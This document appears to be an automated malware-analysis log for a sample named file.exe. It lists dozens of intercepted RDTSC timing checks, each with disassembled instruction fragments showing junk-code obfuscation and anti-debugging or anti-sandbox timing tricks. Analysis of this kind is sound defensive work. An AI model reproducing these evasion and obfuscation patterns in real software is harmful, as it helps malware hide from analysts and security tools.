Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C170 second address: C7C1B7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F58CCBF74CBh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F58CCBF74C8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 pushad 0x00000027 cld 0x00000028 mov eax, 1041DB51h 0x0000002d popad 0x0000002e movzx edi, ax 0x00000031 nop 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push ecx 0x00000037 pop ecx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C1B7 second address: C7C1BD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C1BD second address: C7C1EC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F58CCBF74C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jng 00007F58CCBF74DDh 0x00000012 jmp 00007F58CCBF74D7h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C1EC second address: C7C1F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E733 second address: C7E792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jmp 00007F58CCBF74CCh 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F58CCBF74C8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 or esi, 66A01B08h 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+1245FF33h], eax 0x00000034 push 00000000h 0x00000036 xor di, BD25h 0x0000003b xchg eax, ebx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F58CCBF74D1h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E792 second address: C7E7A9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F58CCE52578h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jbe 00007F58CCE52584h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E7A9 second address: C7E7AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F09D second address: C7F0AA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F58CCE52576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7FE55 second address: C7FE71 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e jl 00007F58CCBF74D2h 0x00000014 jbe 00007F58CCBF74CCh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3487B second address: C3488B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jp 00007F58CCE52576h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81FE0 second address: C82049 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F58CCBF74C8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 sbb si, 50C8h 0x00000027 mov edi, dword ptr [ebp+122D249Eh] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F58CCBF74C8h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 stc 0x0000004a push 00000000h 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 pushad 0x00000051 popad 0x00000052 push ebx 0x00000053 pop ebx 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C845D9 second address: C845DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C845DF second address: C845E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C84BB2 second address: C84BB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C84BB6 second address: C84BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8541C second address: C85432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F58CCE52582h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88E66 second address: C88E7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F58CCBF74D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88E7E second address: C88E90 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F58CCE52576h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88E90 second address: C88EA2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F58CCBF74C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F58CCBF74C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8AFEB second address: C8AFF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CF8B second address: C8CFA5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F58CCBF74CCh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8DEF9 second address: C8DEFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8EF02 second address: C8EF4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCBF74D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jno 00007F58CCBF74CBh 0x00000010 push 00000000h 0x00000012 mov bx, C302h 0x00000016 push 00000000h 0x00000018 call 00007F58CCBF74D3h 0x0000001d mov ebx, dword ptr [ebp+122D3860h] 0x00000023 pop ebx 0x00000024 xchg eax, esi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8EF4C second address: C8EF69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCE52589h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C90EB5 second address: C90ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F58CCBF74D2h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C90ECF second address: C90EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F58CCE52582h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C90EE6 second address: C90F0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCBF74D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F58CCBF74CAh 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8F0EF second address: C8F18A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push eax 0x00000009 call 00007F58CCE52578h 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 add dword ptr [esp+04h], 0000001Dh 0x0000001b inc eax 0x0000001c push eax 0x0000001d ret 0x0000001e pop eax 0x0000001f ret 0x00000020 push eax 0x00000021 mov ebx, dword ptr [ebp+122D278Dh] 0x00000027 pop ebx 0x00000028 push dword ptr fs:[00000000h] 0x0000002f mov edi, 6D3CBE7Ah 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007F58CCE52578h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 00000019h 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 mov eax, dword ptr [ebp+122D0261h] 0x0000005b jp 00007F58CCE52579h 0x00000061 movsx edi, di 0x00000064 push FFFFFFFFh 0x00000066 mov edi, dword ptr [ebp+122D1827h] 0x0000006c nop 0x0000006d pushad 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F58CCE52589h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8F18A second address: C8F194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8F194 second address: C8F198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C914D5 second address: C9155A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F58CCBF74C8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 mov dword ptr [ebp+1244C138h], ebx 0x0000002a cld 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007F58CCBF74C8h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 00000019h 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 jmp 00007F58CCBF74D4h 0x0000004c push 00000000h 0x0000004e jc 00007F58CCBF74CCh 0x00000054 sub dword ptr [ebp+1245F875h], edi 0x0000005a mov ebx, dword ptr [ebp+122D28E2h] 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9155A second address: C9155F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C924B7 second address: C9250F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jmp 00007F58CCBF74D1h 0x0000000b nop 0x0000000c jnp 00007F58CCBF74CCh 0x00000012 add dword ptr [ebp+122D269Fh], ebx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F58CCBF74C8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 push 00000000h 0x00000036 xor edi, 20DE82EAh 0x0000003c xchg eax, esi 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9250F second address: C92513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C92513 second address: C9254B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCBF74D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F58CCBF74D9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C933B2 second address: C933B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9358A second address: C93622 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCBF74D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F58CCBF74C8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 and di, 3BC4h 0x0000002b mov edi, dword ptr [ebp+122D25CDh] 0x00000031 push dword ptr fs:[00000000h] 0x00000038 add di, B022h 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 mov eax, dword ptr [ebp+122D1751h] 0x0000004a stc 0x0000004b push FFFFFFFFh 0x0000004d push 00000000h 0x0000004f push ecx 0x00000050 call 00007F58CCBF74C8h 0x00000055 pop ecx 0x00000056 mov dword ptr [esp+04h], ecx 0x0000005a add dword ptr [esp+04h], 0000001Ah 0x00000062 inc ecx 0x00000063 push ecx 0x00000064 ret 0x00000065 pop ecx 0x00000066 ret 0x00000067 push edx 0x00000068 mov edi, ecx 0x0000006a pop ebx 0x0000006b mov dword ptr [ebp+12450D67h], ebx 0x00000071 nop 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 push ecx 0x00000077 pop ecx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9465E second address: C94662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93622 second address: C93628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94662 second address: C94668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C963A0 second address: C96407 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d nop 0x0000000e mov dword ptr [ebp+12471705h], esi 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+1244EF2Ah], esi 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push eax 0x00000021 call 00007F58CCBF74C8h 0x00000026 pop eax 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b add dword ptr [esp+04h], 0000001Dh 0x00000033 inc eax 0x00000034 push eax 0x00000035 ret 0x00000036 pop eax 0x00000037 ret 0x00000038 mov bx, 10EDh 0x0000003c xchg eax, esi 0x0000003d jmp 00007F58CCBF74D5h 0x00000042 push eax 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 js 00007F58CCBF74C6h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C96407 second address: C9640B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C956C3 second address: C956C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C956C7 second address: C956CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C956CB second address: C956D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C96582 second address: C96588 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C96588 second address: C96604 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCBF74D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a xor edi, dword ptr [ebp+1244D9E2h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007F58CCBF74C8h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 00000017h 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 mov di, E950h 0x0000003c mov eax, dword ptr [ebp+122D0D9Dh] 0x00000042 mov ebx, edx 0x00000044 push FFFFFFFFh 0x00000046 pushad 0x00000047 pushad 0x00000048 pushad 0x00000049 popad 0x0000004a cld 0x0000004b popad 0x0000004c add esi, dword ptr [ebp+122D22EEh] 0x00000052 popad 0x00000053 push eax 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007F58CCBF74D5h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98326 second address: C98342 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCE52580h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F58CCE52576h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C97574 second address: C97590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F58CCBF74D7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C97590 second address: C9759E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F58CCE5257Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98521 second address: C9852D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9852D second address: C98531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98609 second address: C9860D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9860D second address: C98611 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9B5A9 second address: C9B5AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E6C6 second address: C9E6CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F98A second address: C9F99C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F58CCBF74CCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F99C second address: C9F9BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F58CCE52576h 0x0000000a jmp 00007F58CCE52584h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F9BA second address: C9F9BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F9BE second address: C9F9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C453F5 second address: C453FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3ACF second address: CA3AEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F58CCE52576h 0x00000009 pushad 0x0000000a popad 0x0000000b js 00007F58CCE52576h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jp 00007F58CCE52576h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C36265 second address: C36270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C36270 second address: C36274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C36274 second address: C3627E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE27D second address: CAE287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F58CCBE1BE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE287 second address: CAE28D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE28D second address: CAE2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F58CCBE1BEDh 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F58CCBE1BEAh 0x00000017 jne 00007F58CCBE1BF9h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE2B9 second address: CAE2CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F58CCD4D38Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE2CA second address: CAE2E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F58CCBE1BF2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE2E1 second address: CAE2E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE2E7 second address: CAE2ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE8BC second address: CAE8D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCD4D38Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE8D0 second address: CAE8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE8D4 second address: CAE8ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCD4D395h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAEF54 second address: CAEF74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F58CCBE1BF6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
